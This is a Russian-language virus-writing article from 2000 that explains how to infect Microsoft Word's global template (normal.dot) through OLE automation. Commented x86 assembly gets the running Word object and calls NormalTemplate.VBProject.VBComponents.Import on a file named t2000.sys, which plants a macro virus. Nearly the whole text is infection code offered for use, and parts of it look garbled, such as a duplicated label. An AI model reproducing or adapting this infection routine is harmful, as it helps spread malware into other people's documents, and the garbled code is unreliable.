|
|
В этой статье речь пойдет о заражение word с помощью OLE_api. Данный
метод был придуман вирмакером T2000. Этот метод давольно прост. Мы ищем в
OLE активных объектах идентификатор W0rd, потом индефикаторы вордовских
команд. Если все прошло успешно то импортируем файл t2000.sys.
Win32 OLE Automation code snippet
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Схема Заражения:
1. Инстализируем COM библиотеку.
2. Проверяем есть ли в данный момент в базе OLE, индентификатор w0rd
3. Если есть получаем индентификатор w0rd и некоторых команд, которые
понадобиться при работе.
4. Копируем строку которая понадобиться нам в дальнейшем для import файла
с диска в normal.dot
5. Задаем и запукаем команды VBA на импорт файла t2000.sys в normal.dot
start:
~~~~~~
; Данная Api функция инстализирует библиотеку
; Component Object Model(COM). Это API функция
; должна быть обязательно запущено перед тем как вы будите использовать
; библиотеку COM.
push 0 ; Reserved, must be NULL
call CoInitialize
; Это API функция проверяет активен W0rd в данный момент.
push esi ; возвращает указатель на требуемый активыный объект
push 0
call WordID ; параметры ID объекта W0rd
word_clsid:
dd 000209FFh
dw 0 ; Должен быть zer0
dw 0
db 0c0h, 0, 0, 0, 0, 0, 0, 46h ; указатель на ID активного объекта который в данный момент
word_clsid: call GetActiveObject ; находиться в бызе OLE (в данный момент нам нужен W0rd)
; Тут получаем dispatcher ID для дальнейшей работы c Word объектами
push edi
call param_id
id_dispatch dd 00020400h ; dispatcher ID
dw 0 ; Должен быть zer0
dw 0
db 0c0h, 0, 0, 0, 0, 0, 0, 46h
param_id:
push dword ptr [esi]
lodsd
mov eax,[eax]
call [eax]
; Это API функция создает и копируют строку, короче куда вам нужно!
call string
dw '\', 't', '2', '0','0','0', '.', 's', 'y', 's', 0 ; строка которая нам понадобиться
string: call SysAllocString
; Теперь после этих всех операций мы имеем активный W0rd в которой мы должны засунуть наш файл
; t2000.sys.
; OpzZzz. Начинает самая муторная хер*я, с которой я очень долго мучилось и некоторые моменты до конца так и непонял.
; Хочу сразу поблагодарить T2000 за помощь которою он мне оказал.
DISPPARAMS struc
Arguments dd 0 ; Аргументы
Disp_IDs dd 0 ; Dispatch ID's и имена их аргументов
Argument_Count dd 0 ; Число аргументов
Disp_ID_Count dd 0 ; Число имен аргументов
DISPPARAMS ends
NormalTemplate equ 08h ; dispatcher ID команд
VBProject equ 63h
VBComponents equ 87h
Import equ 0Dh
Argument_Variant:
dw VT_BSTR ; Union type.
dw 0 ; Reserved.
dw 0 ; Reserved.
dw 0 ; Reserved.
Variant_Union dd 0
dd 0
; число параметров:
Disp_Params: dd 0 ; NormalTemplate
dd 0 ; VBProject
dd 0 ; VBComponents
dd 0 ; Import("c:\t2000.sys")
mov edi,[edi]
mov dl,NormalTemplate ; задаем параметр NormalTemplate
call Invoke_Disp_Get
mov dl,VBProject ; задаем параметр VBProject
call Invoke_Disp_Get
mov dl,VBComponents ; задаем параметр VBComponents
call Invoke_Disp_Get
lea eax, [ebp+(Argument_Variant-start)] ; таблица аргументов понадобиться для того чтобы выполнить import
; файла t2000.sys
mov [ebp+(Disp_Params-start).Arguments], EAX ; параметры dispatcher
inc dword ptr [ebp+(Disp_Params-start).Argument_Count]
mov dl,Import ; задаем последний параметр Import("c:\t2000.sys")
call Invoke_Disp_Do ; и запускаем уже полноценую команду w0rd:
; NormalTemplate.VBProject.VBComponents.Import("c:\t2000.sys")
; А вот и самая наверно главная процедура которая задает и запускает команды w0rd
Invoke_Disp_Do: ; задаем параметр
push DISPATCH_METHOD
jmp POP_Action
Invoke_Disp_Get: ; запускаем параметр
push DISPATCH_PROPERTYGET
POP_Action:
pop ecx
push 0
push 0
lea eax,[ebp+(Result_Variant-start)]
push eax
lea eax,[ebp+(Disp_Params-start)]
push eax
push ecx
push LOCALE_SYSTEM_DEFAULT
lea eax,[ebp+(IID_NULL-start)]
push eax
movzx edx,dl
push edx
push edi
mov eax,[edi]
call [eax+18h] ; вызываем команду
mov edi, [ebp+(Result_Union-start)]
or eax,eax
retn
DISPATCH_METHOD EQU 1h
DISPATCH_PROPERTYGET EQU 2h
DISPATCH_PROPERTYPUT EQU 4h
DISPATCH_PROPERTYPUTREF EQU 8h
LOCALE_USER_DEFAULT EQU 400h
LOCALE_SYSTEM_DEFAULT EQU 800h
DISPID_PROPERTYPUT EQU -3
VT_BSTR EQU 8
VT_BOOL EQU 11
; После того как все сделали нужно будет деинстализировать COM библиотеку
call CoUninitialize
Существуют конечно и другие методы заражения w0rd с помощью OLE API,
но они более сложные и об этих методах в дальнейшем я тоже напишу статью.
Lord Ultras
(c) 2000
Open your eyes...
|
|